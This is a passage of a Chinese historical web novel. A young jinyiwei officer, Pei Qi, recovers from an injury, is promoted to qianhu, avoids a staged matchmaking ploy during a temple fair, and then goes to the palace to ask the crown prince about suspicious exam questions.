随后,她又吩咐旁边的人把早已准备好的一些清淡能入口适合病人的吃食都热好了端过来, 整整一大桌子。 “你先吃着, 若是有别的想吃的, 尽管跟母亲说,我再让人去做。” 裴期刚醒,脑子里还是晕乎乎的状态, 此刻旁边的桌子上,有各种肉粥肉燕散发着香味,他只说:“谢谢母亲,这些便已经足够了。” 这时,裴期的外祖母便把裴母的肩膀揽进了怀里, “淑儿,你别忙,去休息,让我来忙,这两日你整天地守在这儿,也没吃什么东西。” 闻言,裴母便小心地侧头朝裴期的外祖父望去。 外祖父鼻子里出了口气, “别看我,看我干什么,你母亲都让你去休息了,你就便去休息吧,如今裴期都已经醒了,你也不必再担心了。” 说完后他又想了想。 “就去你之前住的那屋子。” 旁边的下人闻言,便带着裴母去那间屋子。 走了几步,小声地对裴母说:“小姐,您的屋子还是出嫁前的原样儿,这些年来老爷一直不让人碰,只让人进去打扫。” 裴母听着,有些愣神。 外祖父听见了,眼睛一瞪,下人就便讨饶着闭嘴,“哎哟,您看小的,说这些话干嘛。” 裴母没说话,只是沉默地跟着下人去了那间房。 外祖母则端起一碗粥,想喂给裴期,裴期半撑着身体艰难地起来,说: “多谢外祖母,我自己来就好。” 这一家都不是什么扭捏的人,于是外祖母便把碗放到了他最容易能够到的地方,转而去扶着裴期的身子,仔细盯着裴期身后的伤口,生怕裂开。 “慢慢地,别烫着。”外祖母说。 裴期感觉受伤之后,或许是几天没吃的原因,自己胃口变小了些。 居然才吃了一碗粥,两碗肉燕,一碗鸡汤便饱了。 他把碗放下,下人就来报,说有人来上门探访裴期。 外祖母想了想,便说让他们进来。 她转头跟裴期说,“是你的那些朋友,听说你受伤了,都来看你了,只是前两日你还睡着,有些不便,于是我便让他们过几天再来,没想到这两天他们竟是天天都来问。” “还有一些其他不认识的人听说了你是秋猎救了皇上受伤的,也要来拜访,全都被我回绝了。” 裴期点点头。 然后他只见杨小旗跟着下人从外面一路走了进来,他手里拿着一个小布包,里面包着一些东西。 裴期想起好像许久没见杨小旗了。 杨小旗一过来,便笑着说:“瞧我来得不巧,打扰你吃饭了。” 裴期摇了摇头,“没有打扰,我刚刚用完。” “那便是来得巧了。” 下人极有眼色地把裴期床边桌子上的一些吃食全都撤下。 杨小旗坐到裴期床边的红木凳上,又打开了他手里的布包。 “原本想给你带些补身体的,可想来,侯府中的补品竟然是比我要送的更好,因此特意给你挑了这些带过来。” 只见上面有一本时下流行的,用来解闷的话本,一个平安结,居然还有一些葡萄,苹果一类的。 见裴期吃惊,于是他便说: “之前,我妻舅决心组个商队,去到远处做生意,前些日子才回来,带来不少稀罕的东西。” “我一说你受了伤,想给你带点东西,他们便说这个好,适合病人吃。” 杨小旗又拿起一旁的平安结合书,“这个平安结是我去寺里面求的,而这本书是我在书肆里买的,时下正兴的故事。” 他笑了一下。 “讲的是一位俊朗的男子在受伤之后便去了深山老林里边儿养病,遇到了一鬼,鬼天天给他讲外面各种离奇古怪的故事。” 他话音刚落,外面便传来一个声音。 “唉!让让!” “谢谢,不用帮忙,我自己来就行。” “哎哎哎,扶我一下,扶我一下。” 裴期听出来是钱苗的声音。 只是他人还没到手里抱着的东西便比他先进了这个屋子。 他手里抱了一堆东西,用箱子装着,箱子一层一层的叠着,一直高出钱苗的头。 也怪不得他刚才看不到方向。 眼瞧着进了屋,他才如释重负地把箱子一股脑都放在地上。 最高处的箱子被他这么一放,掉了下来,箱子摔在地上裂开,露出里面的东西。 居然全是一些人参,鹿茸之类的上好补品。 钱苗甩了甩自己的手, “我要是像你一样,有那么大的力便好了,痛死了。” 瞧见裴期半坐在了床上,他说:“你可终于醒了。” 裴期指着地上的东西:“这些是?” 钱苗给自己找了个地方坐下,他说: “我父亲听了你的事,非得让我过来巴结巴结你,让我送了许多家里的补品来,还叮嘱非要我亲手送到你这儿。” 裴期疑惑,“可我也只是锦衣卫校尉。” “你还不知道?”钱苗说,“你已经当千户了。” “还没醒来的时候,皇上便火急火燎地照了所有医术精湛的太医为你治病,还险些直接将你留在皇宫里。” “后来太医说你没事了,皇上便说你有功,要让你做千户,只是旁边人劝着都不成。” 钱苗笑得见牙不见眼,“你都在锦衣卫里出名了,皇上为了你,和那些老古董都吵了好一架,非得赏你。” “当时是这样的。” 他站起身来,要给裴期学一学他道听途说的那时情况。 裴期的外祖母也是第一次见这样大胆的人,用手帕掩着嘴在旁边笑。 只见钱苗声音放粗,站在一边,“哎呀呀,朕要赏一赏裴卿,不如就赏他个千户当当。” 然后他又走到另一边,声音放尖细,“陛下!于理不合!于理不合呀!” “胡说!”钱苗拍拍桌子,“裴卿立下这么大的功!朕说赏便要赏!不仅要赏这个!朕还要给他划个大宅子!……” 可惜他还没演完,下人便来报:“外面有公公带着圣旨到。” 钱苗瞬间收了声。 杨小旗瞟了他一眼,“看你还敢不敢这样了。” 然后只见又是王公公过来。 按道理来说,无论是否有人在病中,只要还醒着,皇上下了旨,大家都要去前厅接旨的。 可王公公却径直走了进来,他一见到裴期便眉开眼笑。 “裴大人,又见面了。” 之前叫裴期裴大人,可以说只是客套一下,可现下裴期的官职也足够让大部分人叫一声“大人”了。 裴期下意识要起身接旨。 王公公忙上前拦住,“裴大人这身子还未痊愈呢,可莫要多礼,陛下特意吩咐了,让咱家径直进来宣旨,莫要折腾了大人您。” 裴期便停下动作,“多谢陛下体恤。” 王公公笑着点点头,清了清嗓子,展开圣旨宣读起来:“奉天承运,皇帝诏曰:锦衣卫校尉裴期,秋猎之时英勇无畏,救驾有功,朕心甚慰。今特擢升裴期为锦衣卫千户,另赐宅邸一座,金银若干,望裴期日后继续为朕尽忠职守,钦此!” 裴期按着之前被教过的礼仪说:“臣谢主隆恩。” 说完,王公公便把圣旨递到了裴期的手中。 “裴大人,恭喜啊,养好了身子,您往后前途无可限量啊。” 说完,他想了想,又问: “只是裴大人想要把陛下赏下来的那些东西放在哪儿?太子也托咱家带了些东西过来,现下咱家这里刚好有人,可以给裴大人送去您的新府、裴府,抑或是忠勇侯府上。” 这些东西本应该是王公公带着人放到了这儿,便由裴期自行处理的。 可王公公办事圆滑,此刻也愿意卖裴期一个人情。 按照眼前人的这架势,不一定哪一天便身居高位了。 啧,锦衣卫怎么这么会挑人,恰好就把裴期挑了进来,这下连带着锦衣卫也跟着在皇帝的面前风光无限了。 眼瞧着就要彻底把东厂也盖下去了。 啧,他也应该去哪儿找个人从尚且未有权势的时候培养培养,说不定哪一天便可以连带着东厂一齐风光呢? 今年好像要开始考进士了。 王公公心里盘算着,便不如在这些进士里挑一个,南方乡下来的,没什么见识没有党派,但才华颇好,能够在进士考试中取得名次的。 他暗地里好生联络联络,说不定也能有像锦衣卫这样捡了大漏的好运。 裴期听到了他的话便问,“请问陛下赐的那座宅邸是在哪儿?” 王公公笑眯眯地回答:“裴大人曾被派去那边抄家,本来那宅邸是要拆的,后来陛下想,与其拆了再建,还不如把那府邸修缮一下,赏赐给裴大人。” 旁边的钱苗听到王公公这么说,他倒吸一口凉气。 瞬间想到了去抄家时看到那宅子的时候震撼的场景。 也是,那样的场景,又有谁能够忘掉呢?简直是活生生地在上京里又划了个小皇宫出来。 那地方就住裴期一个,他住得明白吗! 钱苗看了一眼裴期。 看来裴期以后当差都要早起了,怕不是从住的地方到门口就要费上一些时间。 裴期听到王公公说的话则是略微一思索,不知为何他并不想将这些东西放回裴府上去,也不想放在忠勇侯府麻烦了外祖父和外祖母。 本身他来这儿学习骑射,还把自己弄伤,在这里养伤就已经麻烦了他们太多。 于是他便说:“多谢公公费心,还劳烦公公将陛下赏赐之物及太子所赠一并送至新赐的裴府吧,那儿如今正缺这些物件装点,也是方便日后打理。” 王公公点头笑道:“裴大人考虑得周全,咱家这就吩咐下去,定给大人妥妥当当办好此事。” 然后像想起什么来似的拍了拍手,补充道: “哎哟,您瞧,您升了官,咱家也跟着高兴,一时之间竟连太子托我带的话也忘了,太子说这几日忙着查案,暂时没有时间,过几日便带着送裴大人的鹿皮围脖一齐过来。” 说罢,他便转身去安排人手搬运东西。 听到太子,裴期稍稍有些出神。 外祖父外祖母见状也跟着起身相送,表示也要安排人手帮忙运东西。 王公公也不推拒,因为赏赐下来的那些东西实在是太多,他带过来的人手才刚刚够用,多余的一个也没有了,未免有些吃力,若是有帮手,便能够轻松许多。 见人都走了,钱苗凑到裴期的面前:“好哇,裴大人,裴千户,以前我们罩着你,现在你可要罩着我们了。” 裴期笑了笑,“我们是朋友,有需要帮忙的,我自然会帮的。” 钱苗拍拍胸脯,故作谄媚样:“有裴千户的这句话,小的便放心了。” 杨小旗也跟着拱手:“恭喜,以后你就是我的上级了。” 几人笑作一团,随着钱苗的动作,裴期看到他胸口的几页白花花的纸张。 “那是什么?”裴期有些好奇地问。 “这个?”钱苗把纸张抽了出来,“这是我原本准备送给杨明的课业辅本,只可惜他不要还叽里咕噜地说一些‘读书没有捷径’‘这些都是骗人的’酸话把我打出来,并叫我不要打扰他。” 裴期接过那几张纸。 直接上面赫然是一句熟悉的话, 【“自天子至庶人,一是皆以修身为本。” 请以修身之要,论为臣为民之道】* 裴期只是刚刚瞧见,便心里不知道为什么,忽然拉紧了一根弦。 他隐隐约约觉得,钱苗手里的东西和裴建之前被要求作答的东西之间一定有着联系。 裴期皱眉,只问:“这题从何而来?” 钱苗挠了挠头:“我也不清楚,只是从一个寺庙那儿的,神神秘秘的书贩那儿买到的,本想着大家都传得神乎其神的,给杨明也准备一份,没想到他竟然不领情。” 说完了这话,他又想到了别的东西:“上次我们抄家才把那府邸翻来覆去了一遍,想必就算是皇上给你修缮了,也会有些不合心意的地方。” “我爹喜欢在这些事情上鼓捣,若是你有需要什么帮忙的,且直接跟我说就是我让我爹的那些匠人全都过来帮你。” 钱苗的爹是富商出身,赚到了钱之后便颇喜欢附庸风雅,家里又是开书肆,又是玩玉,还有弄些风景园林的,还想着把儿子送去做正经朝堂人。 家里最不缺的就是这些。 裴期听到这话,也没有推辞,“那我就提前多谢了。” 他心里同时想着,既然自己想不明白这些,等到自己可以下地了便去问太子,这题目是怎么回事。 不解风情 俗话说病来如山倒, 病去如丝抽。 尽管裴期的身体好,醒来得快,却也没逃过这句铁律。 他头几天稍微一动便只感觉背后的伤口发疼, 只能在床上待着。 后几天可以下地了,却只能缓缓地挪动,动作稍微一大,后背的伤口便也像快要裂开似的痛。 但裴期没有因此感到煎熬, 反而叫人在自己的房间里放了一张用于写字的桌子, 又找了一把用软垫垫着坐凳和靠背的椅子。 他将之前那些字帖给找了出来, 寻了笔墨纸砚开始练字。 忠勇侯府三代里都没出过读书人,家里的这些东西非常难找, 还是临时差了人去街上买的。 结果不知道怎么被得知了消息, 那些有的没的, 想要上来登门拜访的一些人手里都提着些上好的毛笔和砚台了。 “表少爷!” 这是下人今日通报的第六次了,他也摸准了裴期虽然表面看上去不爱说话,内里却极好相处,于是他小小偷了个懒,在不远的地方就开始一嗓子吼出来。 “老爷和老夫人问您来的是江公子和崔大人, 您认识吗?” 裴期握着毛笔的手一顿, 在本来就歪歪扭扭的字迹上滴下一滴硕大的墨点。 他微微皱了皱眉, 果然练字不是一蹴而就的,他已经练了好几天了, 非但没有像学习骑射那般快速掌握, 连最起码的横平竖直都还难以做到。 他听见下人的声音, 便抬头回应道:“不认识。” “好嘞。”下人得了他的回应便又回去告诉裴期的外祖父与外祖母,好让他们直接推拒。 近几日也不知是怎么了,裴期的事情仿佛一夜之间便传进了上京每一位稍有些身份的人的耳朵里。 前来登门拜访的人络绎不绝, 几乎快要把忠勇侯府的门槛给踏破。 有的消息不灵通的,甚至去裴府扑了个空后又坚持不懈地跑到这边来再拜访一次。 一次两次还好外祖母,外祖父都能帮裴期推拒了。 可经不住人数一多起来,他们便泛起了嘀咕,这么多人里,也不知哪些事裴期认识的,哪些是裴期不认识的。 若是自作主张把裴期认识的或者是想结交的人给拒之门外便不好了。 幸好他们也都不是喜欢思前想后的人,来一个便直接遣派人给裴期通报一声,看裴期是否认识便可以了。 连钱苗都打趣,幸好他和裴期认识得早,要不然现在连排队都排不进来。 裴期虽然练字的事情被频频打扰,可心里却也不恼,从前裴建刚刚考了举人,父亲高兴,便拍着裴建的肩膀仔细叮嘱。 说越是得圣宠,越是有权势,便越是要谨慎,以平常心待之。 虽然裴期迟钝,至今为止对于自己有了个大宅子当了千户的事情并没有实感。 可他也知道,现在越是多的人想要结交,便越是要把自己的事情干好。 他仔细地临摹着字帖,终于在今日临摹出了像模像样的一句话。 “稼政之本,民食惟天。甫田兆几,后稷其先。”* 裴期等到墨水干透再看。 只觉得虽然确实不如字帖上的字好看,却也比自己之前写出来的字要好上不少。 这时,外祖母也从外边迈步进来。 先是说裴期练字临摹写的这句话中,“稷”字写得最好。 又说:“小期,今日是庙会,方才和你母亲、外祖父商量了一下,觉得今天来的人实在多,才清晨,便来了十来个人,不如今天去逛逛外边儿的庙会也好得个清净。” 外祖母说着说着便笑了, “听你的母亲说你只在小时候逛过几次庙会,后来变再也没逛过了,正好也一起去看看,这里的潜音寺中新来了个方丈,做的斋饭别具一番风味。” 听到最后一句话,裴期眨了眨眼。 小时候他虽然去过庙会,可并没有到斋饭这个环节,只是在外面的集会逛逛,往里面求一下签便走了。 本来今日他就是打算去拜访一下太子,向太子说明那道题目之事。 现在则正好出门,上午陪着一起逛庙会,下午去拜访太子。 若是有机会,他还挺想尝尝寺庙里的斋饭。 裴期于是放下手中的毛笔,点头应道:“好,外祖母,我们去逛逛。” 裴期起身,动作虽还有些迟缓,但比之前已利落了不少。 他恢复得较常人快上许多,因此,到这时他便能站起来,走上几步了,只要没有太大的剧烈动作,应该无碍。 外祖母看着裴期这样子,心里也暗暗地发笑。 明明还没当几天差,却跟那些当差了几十年的人一样一板一眼,这下终于有了点活泼劲儿。 于是她便转身去安排马车了,顺道还给裴期安排了一身衣服。 与裴期平时穿的一些飞鱼服,一些便于行动的小袖不同。 今日他穿的衣服看上去居然衬得他别具一番文人雅量。 宝蓝色的大袖外袍,质地柔软,在阳光下有一些光泽,而里面的衣服则是墨蓝色的,配上一条有着金色纹饰的腰带,再把头发用翠玉做的发冠束着。 当真别有一番少年意气。 他们没有从正门乘马车走,因为在那里等着的人实在太多,若是让他们见到裴期,不知道何时才能脱身。 可不巧的是就算他们从后门登上马车,也被一些眼尖的人给瞧见。 于是,原本在前门听到东永侯府已经闭门谢客,十分失望的人们便好像见到了兔子的狼一样跑过来。 外祖父见状,立刻从马车的前面出去,接过马夫手里的缰绳。 “驾!” 马车飞驰了出去。 为了照顾裴期身上的伤,马车里垫着些厚厚的软垫。 外祖父打了许多年的仗,技术十分精湛,此刻尽管马车以这样快的速度飞奔着,可后面的车厢内却一点儿不显得颠簸。 裴母坐在裴期的对面,问:“可感觉好些了?” 裴母刚来的几日都在为着裴期担心,后来又整夜地与裴期的外祖母、外祖父不知在秉烛夜谈些什么,最近几日才在晚上休息的好些,气色也红润了起来。 “母亲,我好多了。”裴期说。 他话说完。 眼瞧着已经将后面的人甩开,马车的速度也平稳起来,外祖父更是从前边一下子钻进了车厢中。 “早知道从一开始就不应该理那些人的。”外祖父说,“真是害人,平日里想出去一下,都得顾及着他们。” 外祖母安慰道:“是你的外孙有出息,他们才过来想要结交的,何必动这个气。” 外祖父听了这话,这才眉开眼笑起来,“那是自然,放眼整个上京,有哪个小辈像是我外孙这般有胆识有出息的?” 话说到这儿,外祖母忽然叫了一声裴期。 然后将马车旁边的帘子撩开。 “近几日景色好,小期你来看看?” 裴期闻言,便听话地看向马车的帘子外,只见马车此时正路过一个土堆的旁边,窗外只能见到土堆的侧面,哪有什么景色可言? 外祖母见了也有些尴尬,于是便说:“且等等,说不定过了一会儿便有好景色了。” 于是裴期便也真的一直盯着窗外看什么时候能有景色出现。 过了大约十个数的时间,那马车的窗外也依旧没什么景色。 可忽然,另一驾马车忽地从窗边路过。 那马车的帘子也是撩开的,只见那帘子里有一个用一把团扇掩着口鼻,只露出眼睛的娇俏少女,正看向这边,正好与裴期对视上。 刚与裴期对视完,对面便放下了帘子。 而这边外祖母也放下了帘子。 外祖母问:“怎么样?” 她一说完裴母外祖父皆是和外祖母一样的期待的神色,等着裴期回答。 裴期疑惑:“什么怎么样?” 车厢里另外三人也是一时之间没想到,裴期竟然不解风情到了这种地步。 几人对视了一眼,终于决定还是由裴母问。 “刚才那路过马车里的姑娘,你没看出什么来?” 她期待的看向自己的儿子,希望自己儿子能在这时突然开一下窍。 裴期思索了一下,“倒是有看出来些什么。” 车厢内其余几人又重新燃起了希望。 “你说。”外祖父忍不住催。 “这姑娘大约十七岁,她看样子气色红润,乘坐的马车也十分的好,应该是上京里某位权贵的女儿,若是想的不错,与这个条件相符的只有江家。”裴期说。 只能继续期待地看着他。 然后裴期说:“是江家近日里做了什么错事吗?如今我升了千户,若有证据,也有可以查一查。” 另外几人听见这番“恪守己任”的话,他们一时间一句话也说不出来。 这都看不出来是什么意思?? 最后还是外祖母又说, “确实是江家的女儿,只是并不是你所想的事,而是江家有意让你做婿。” “江家也算是个好人家,前几日便请人来问这事了,可我总想着要让你们见一见便才好做决定,于是才安排了今日。” 裴期一句话也没说,内心有些烦躁。 他下意识觉得眼前的这些人并不会顺着自己的意愿。 裴期沉默了半晌,直到马车行驶到目的地,整个马车都停了下来,才说:“我不想要。” “什么?”外祖母惊讶。 “我不想这样。” 裴期说。 他看着外祖父,外祖母,并不觉得他们会因为自己说了这话而放弃这个念头。 可他没想到,听到他说的,两人却并没有坚持要继续给裴期说媒。 外祖母听到,连劝说都没有,只笑着说:“好,你既然不愿意,那此事便作罢。” 外祖父也说:“我昨日就说了,小期现在的年纪不大,又正得圣宠,正是该做出一番功绩的时候,这种事情怎么好在这时候张罗。” 裴期禁不住愣了一下。 而裴母上前握住了他的手,笑着,“我们先去求一求平安签吧。” 裴期终于回过神来,点点头,露出一个笑容。 “好。” 几人便一齐下了马车。 只是他们并不知道,在不远处有一位喝着茶的男人看着这边。 那人笑了一声, “他当真这么说?” 旁边有个人点头哈腰,“是的,奴才亲耳听到,裴期说不想要妻子。” 男人仰头一口把茶水吞了进去, “我果然猜地不错,二十二了还未成亲,甚至未传出有什么心上人,定然是有什么问题,若不是身体有疾,便是喜欢……” 男人放下茶杯,站起身来,整了整衣袍,他俯下身子在旁边的那人耳边耳语了几句。 那人便应到:“好的,主子,我马上叫他过去。” —— 于是,刚准备进庙里面求平安签的几人便路过了个摊子。 摊子上坐着个像模像样的道士。 道士一把清隽的胡子,旁边竖着一个小板子,板子上写着: “算命,不要钱,算准了再来给钱” 一时间,围着摊子算命的人里三层外三层。 可恰好等着裴期路过,坐在摊子上的那个道士忽然叫了一声裴期的名字。 裴期转头,有些疑惑。 只见道士捋了一把自己的胡子,“对,没错,请那位公子过来。” 裴期原本不想过去,可外祖母看着那边板子上写着的东西有趣,便说道:“不如过去看一看,看看他是否真有所说的那般神异。” 裴期也不想扫兴,心想着既然是逛庙会,不如看看也好。 于是他便上前坐在了这个道士对面的凳子上。 道士只是看了他的脸一下。 先是倒吸一口凉气,然后又是摇头,又是叹气。 他这样子倒让旁边的裴母好奇起来了。 “怎么了?”裴母问。 道士一边摇着头一边说,“可惜啊,可惜。” 见他这样子,外祖父先不耐烦,他皱眉说,“故弄玄虚。” 那道士倒也不恼说, “老道看这位公子印堂开阔,地格方圆,眉眼之间有势,面相贵不可言,日后定然一人之下,万人之上,只可惜……” 他这话一说出来,连旁边围观的人都好奇了起来。 外祖母虽没把这个当回事,可俗话说宁可信其有,不可信其无。 心里都有个防备,总是好的,于是也问到,“大师请说。” 只见那道士甩了一把胡子说: “只可惜姻缘艰难,难有子嗣,若是错过今日,便会孤独终老。” 外祖父听了前面的话还心里高兴着,可一听到这后面的话,他便瞬间脾气就上来了。 孤独终老?还诅咒到自己外孙身上了? 好歹外祖母和裴母一起拦着,才不让他当场发作。 只见那道士手上掐算了几下,说道: “老道算到,今日这位公子会遭水劫,令公子遭水劫之人便是公子的正缘。” 他话说完,外祖父便终于忍不住说:“荒谬,简直一派胡言。” 说完便拉着裴期走。 剩下的两人见到也只得跟着离开。 只剩那道士在后面说:“公子切记!” —— 裴期压根没把这道士的话放在心里。 只是按照原计划,跟着亲人一起去求签。 其他的几人,一开始还讨论了几句那道士的话,后来就也没放在心上了。 毕竟只是路边随便一个道士罢了,若是算的准,那才是奇了怪了呢。 说话间,他们已经到了求平安签的地方门口。 门口的人见了几人过来掀了一下眼皮,便说求平安签,只能一人进去一个一个的去求,不能一起去。 几人一商量,便决定让裴期先进去。 于是裴期便给了从门口守着的人几文钱,从对方的手里拿了几支香进去。 可他刚穿过两扇门,正儿八经地走到了那个佛像的面前。 才发现里面其实也还是有人在那儿。 是一个长相颇为清秀的少年,此刻,那少年病歪歪地坐在一把椅子上,手里端着满满一碗的药,见到裴期过来,便朝他虚弱地笑了笑。 那样子看上去竟有些风情在。 只是裴期有些疑惑。 既然只能一个一个人的进来,为什么里面还会有人呢?若是里面有人的话,那岂不是可以两个人一起进来吗? 但既然寺庙这么干了,肯定有他的道理,于是裴期也没问其他的,只是按部就班的把手里的香插在佛像前,双手合十,拜了拜。 随即从佛像的旁边拿过一个签桶,摇了几下从里面抽出一支签来。 见裴期没有理自己。 少年咬了咬牙,咳嗽了几声,说:“抱歉,大人,实在是因为我身子弱,所以家里人送我来这边养着,在这边服药。” 裴期想不明白对方为什么要跟自己解释,也想不明白在佛像面前喝药究竟有什么神奇的功效。 他索性点了点头,便举步要出去等家人一起找人解签。 见到裴期要离开。 少年急了,连忙站起身来,一边嘴里说:“大人可否帮我……” 一边手里动作不停,将端着的那碗药撒向裴期。 而裴期虽然受伤了,可仍旧是简单的往旁边一躲,便闪开了。 那一碗药全都撒在了地上。 少年因为动作太大脚崴,他趴在地上,呆愣地看着地上的药,又看着裴期没有丝毫污渍的衣服。 他心里开始慌乱起来。 遭了,他没把事情办好。 他一时间什么也看不进去,不知所措,在地上维持着原动作许久。 忽然,他感觉到脚上一凉。 只见裴期不知从哪里折来一些草药,敷在了他脚踝处,又撕下了身上那件华贵衣服的布料帮他绑住。 而他方才还想在这件衣服上泼上水。 于是少年下意识说:“不用,大人,您的衣服珍贵。” 裴期却只回:“衣服比不上人重要。” 他一切料理完,便起身离开去寻自己的亲人,离开之际,还帮这少年叫了在这里看着的人过来。 少年看着自己腿上那块宝蓝色的布料出神,抬头又看见裴期与家人并肩的背影。 外祖母问:“你这衣服是怎么了?” 裴期笑了笑说:“并不重要。” …… 斋饭,太子 裴期并未将这样的小插曲放在心上。 只是有说有笑地和家人拿了平安签去解签。 来这里求平安签的又有几个是真的想看日后的运势的呢, 因此,这些签桶里也大约都是一些吉祥的话,鲜少有真的会让人不悦的签语。 最次的也是, “小有波折,终能化解。” 裴期几人,去找那和尚解签,和尚只是拿了几文钱便念了句佛号, 说: “施主, 此签大吉, 平安顺遂,福泽深厚, 遇难呈祥, 家宅安宁。” 然后他双手一翻, 又把裴期的签文放到了最上面。 “只是要谨防小人。” 总归是比外面那个劳什子道士说的话好听多了。 几人也并不纠结这些,依旧有说有笑地一起离开,在寺中闲逛。 距离寺庙开斋饭的时间还有一会儿,他们便开始在这集会上逛了起来。 只见这些集会上有的是卖一些玩具的,有的是卖字的, 还有一些则是糖葫芦之类的小吃食。 其中卖字的那个放了一张大桌子摆在面前, 上面是时刻可以准备新写一行字的笔墨纸砚。 摊主是个清瘦的老者, 目光炯炯有神。他手持毛笔,蘸饱了墨, 手腕轻抖, 笔走龙蛇, 一行漂亮的字便跃然纸上。 裴期最近便在练字,因此驻足的时间长了些,他仔细端详着老者写下的每一笔每一划, 心中暗自揣摩着其中的笔法技巧。 老者写完一幅,抬眼瞧见裴期专注的模样,不禁微微一笑,问道:“小公子可是也喜好书法?这是我自创的字体,非颜非柳。” 裴期回过神来,回道:“晚辈确是在习字,只是尚不得其法,见老先生这字写得如此精妙,便忍不住多瞧上几眼。” 老者哈哈一笑,摆了摆手道:“无妨无妨,年轻人有此雅兴甚好。” 说着,又拿起笔,蘸了墨,一边写着一边给裴期提点了几句行书的起笔、行笔与收笔。 裴期听着便点点头,记在了心里。 再往前几步是个卖小玩具的摊子,摊子上摆满了形形色色的小玩意儿。 有用铜打造的蝴蝶,不知道用了怎样的技法,稍微一动,便像真的蝴蝶一般翩翩扇起翅膀;还有用彩线编织的小动物,和芦苇秆做的竹蜻蜓。 而裴期则被旁边卖糖葫芦的吸引,忍不住多看了几眼。 转眼间,一根裹着酥脆糖壳的糖葫芦便递到了裴期的手边。 裴期眉毛微抬,看向旁边的外祖母。 外祖母笑着说:“吃吧,只是莫要吃多了,这里的斋饭没一会儿了。” 潜音寺里会提供斋饭给常来这里的香客,尤其是像裴期的外祖母这般隔三岔五便会来捐点香火钱的。 “从前,你表兄们,舅舅,还有你外祖父都在战场上,我实在担心得紧,心里发慌,便常常来这里,久而久之便也成了这里的常客了。” 外祖母说。 裴期点了点头,把手里的糖葫芦外壳咬碎,酸甜的果肉混合着糖壳,自有一番风味。 外祖父听到这话,没有回头,只是叹了口气,走在前面,脸上的神色看上去有些落寞。 裴母拉了他一把,轻声说:“父亲,劳烦您带路,去这里的斋堂。” 外祖父这才回过神来。 应了一声,便抬步在前面领路,一家人跟在其后,沿着寺庙的回廊前行。 不多时,便瞧见了斋堂的大门,来的时刻刚巧,斋饭熟了,这里的香客却还很少,阵阵饭菜的香气飘散出来,混合着寺庙里特有的檀香味。 斋堂里的桌椅摆放得整整齐齐的,一家人挑了一桌坐下。 ?人们见到外祖母,便熟稔地打招呼,给这桌上端了一些斋饭。 仔细看一眼过去是一些蒸红薯,煮玉米,清炒时蔬,凉拌菜,糕点,和一些里面好像有豆腐的素汤。 看样子很清淡,很适合裴期这种大病初愈的。 裴期简单地用上了几口,并没放开了肚子吃吃。 寺庙里都是免费提供给这些香客的,若是他吃得太多,那其他人便没有了。 外祖母问:“如何?我就说这里新来了个方丈,斋饭别有一番风味。” 裴期回:“确实汤鲜味美。” 用完,几人便步行去坐那辆来时的马车,刚吃了饭也正好消消食。 裴期倒也没忘记今天是要做什么去的。 一上马车他就叮嘱车夫到到皇宫的门口一趟。 裴期特意让人替自己询问过,得知自己在床上躺了几日,在忠勇侯府养了几日,太子便在大理寺卿忙了多久查了多久,几乎脚不沾地,鲜少有回宫休息的时刻。 直至今日,前些日子里所有的案子才终于有了些头绪,太子也才回了宫里,他刚好趁着这个机会可以去问问。 太子自从刚接手监国起便一直在大理寺,有时锦衣卫的工作也能兼顾一二,因此,裴期觉得太子定然是最适合帮自己分析这题目的事的人。 趟次回程的马车在中途的路途上并没有出什么之前那样的幺蛾子。 非常顺地的先到了皇宫的门口。 虽然知道,像是裴期这种一板一眼的人,能得宠多半是因为皇帝确实就喜欢他这个样子。 他们也还是忍不住叮嘱了一下裴期万事小心。 虽然是一些早已经在他们的口中听过的话,但裴期并未觉得啰唆,他应了一声说:“好,我会小心行事,不会莽撞的。” 说完他才下了马车,整理了一下衣装,稳步朝前走。 门口站着些侍卫,这些是为负责核查每一个前来皇宫的人的身份。 或许是因为快到换班时间了的缘故,他们见到裴期先是例行公事一般皱眉,不耐烦地说:“若是想要进宫,请先出示腰牌。” 在平常的这些日子里,若是想要进宫,必须得给这些侍卫出示皇宫里专门制成并发放的一些通关的腰牌,腰牌上面刻着每个人的姓氏以及官职等。 侍卫接收到了之后便会登记在册,以便后续核查。 因为早已经计划好了下午来找太子的行程,裴期早已将那腰牌妥善带在身上。 他从腰间取下腰牌,递向那侍卫。 那侍卫接过腰牌,仔细打量起来,只见那腰牌应该是新制的,上面裴期的姓氏以及相关官职等信息清晰可辨,隐隐还飘散着一股桐油的味道。 侍卫又抬眼瞧了瞧裴期,似乎在确认人与腰牌信息是否相符,随后便转身去一旁的册子上进行登记记录。 裴期则静静站在原地等候。 只见那接过他腰牌的侍卫把腰牌递给旁边登记的人了之后,登记的人神色忽然变化,又以极小的声音在旁边不知说了几句什么话。 那几人便忽然一改之前不耐烦又冷漠的神态,笑眯眯地过来问。 “原来是裴大人,裴大人这次前来可是来寻陛下,又或是寻太子殿下的?” 裴期并没有察觉出对面的人态度的转变,在他的眼中,只是对方履行自己的工作,而自己也照理回答。 “我是来寻太子殿下的。”裴期说。 而他这样平淡的样子,则更加让周围的那几位侍卫暗暗称奇。 这个年纪,便不靠着家中,只靠着自己,能到这样既得圣宠,又有官职,放在他们自己的身上,他们现在只怕连尾巴都要翘到天上去。 可眼前这人居然如此镇定自若,宠辱不惊。 可见还是心中有些城府。 于是这些人便更加不敢怠慢。 说:“既然如此,那我等便遣派侍卫一名给您带路。” 裴期微微颔首 “有劳诸位。” 只见眼前的侍卫们,对视一眼,不着痕迹地纷纷往前一步,他们都想替裴期带路,好,也在这大人面前露个脸。 他们不动声色地争执一番,甚至试图互相用手肘把旁边的人给别到后面去。 之后终于有一人获胜,率先出来,说:“裴大人,请随我来。” 裴期应了一声好,便跟着这名侍卫往宫内走。 他们脚下踏着石板路,两边的宫墙高耸,一路上,那侍卫便时不时地回头偷看裴期。 一副想问什么又欲言又止的模样。 若是平常人此刻早就要问这侍卫想说些什么了。 可偏偏他后面站着的是裴期。 裴期安静地跟着走,他一脸平静,仿佛并没有发现这侍卫奇怪的神色。 不,不是仿佛,而是他确实没有发现。 直到来到了太子所在的东宫门口,这侍卫上前通报了一番之后才扼腕叹息。 可恶,他路上怎么就没把想说的话给问出口呢? 可是眼瞧着裴大人那平静神色,他也很难不怀疑对方实则是深有城府,一直在试探自己。 若是自己说了什么不该说的话,明天便会莫名其妙被报复。 锦衣卫的那些手段他们也不是未曾耳闻,就算这段日子锦衣卫在上京的名声好了一些,可之前那些各种凶残传闻却一直流传着。 侍卫心里七上八下,最终还是觉得现在这样便最好。 就算没成功给这位裴期留个好印象也不要紧,最起码不会给对方留个坏印象。 